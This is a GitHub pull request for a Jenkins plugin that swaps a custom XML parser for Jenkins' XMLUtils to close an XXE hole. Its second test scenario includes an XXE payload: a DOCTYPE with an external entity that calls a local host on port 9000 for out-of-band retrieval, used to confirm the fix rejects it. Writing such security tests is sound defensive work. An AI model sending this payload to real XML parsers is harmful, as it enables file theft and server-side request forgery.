Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[JENKINS-71695] Use jenkins.util.xml.XMLUtils instead of custom Docum… #287

Merged
merged 2 commits into from
Oct 29, 2023

Conversation

Dohbedoh
Copy link
Contributor

…entBuilder

JENKINS-71695: Replace the custom DocumentBuilder by https://github.com/jenkinsci/jenkins/blob/jenkins-2.415/core/src/main/java/jenkins/util/xml/XMLUtils.java. This fixes a TODO added in 5f845bc to prevent XXE.

Testing done

Scenario 1:

  • create a Maven settings file with Credentials. For example:
<?xml version="1.0" encoding="ISO-8859-1"?>
<settings xmlns="http://maven.apache.org/SETTINGS/1.0.0"
          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
          xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0 http://maven.apache.org/xsd/settings-1.0.0.xsd">
  <mirrors>
    <mirror>
      <id>test</id>
      <mirrorOf>*</mirrorOf>
      <url>http://localhost:8081/repository/mirror/</url>
    </mirror>
  </mirrors>
  <servers>
    <server>
      <id>test</id>
      <username>testuser</username>
    </server>
  </servers>
</settings>
  • create a Pipeline job with configFile() to inject the config file
  • validate that it works and credentials is injected in the file

Scenario 2:

  • create a Maven settings file with Credentials and a disallowed DOCTYPE (test XXE). For example:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE r [
        <!ELEMENT r ANY >
        <!ENTITY % sp SYSTEM "http://host.docker.internal:9000/oob.xml">
        %sp;
        %param1;
        ]>
<r>&oob;</r>
<settings xmlns="http://maven.apache.org/SETTINGS/1.0.0"
          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
          xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0 http://maven.apache.org/xsd/settings-1.0.0.xsd">
  <mirrors>
    <mirror>
      <id>test</id>
      <mirrorOf>*</mirrorOf>
      <url>http://localhost:8081/repository/mirror/</url>
    </mirror>
  </mirrors>
  <servers>
    <server>
      <id>test</id>
      <username>testuser</username>
    </server>
  </servers>
</settings>
  • create a Pipeline job with configFile() to inject the config file
  • validate that it fails accordingly

Submitter checklist

@Dohbedoh Dohbedoh requested a review from a team as a code owner July 24, 2023 02:36
@olamy olamy merged commit 39d165d into jenkinsci:master Oct 29, 2023
14 checks passed
This pull request was closed.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants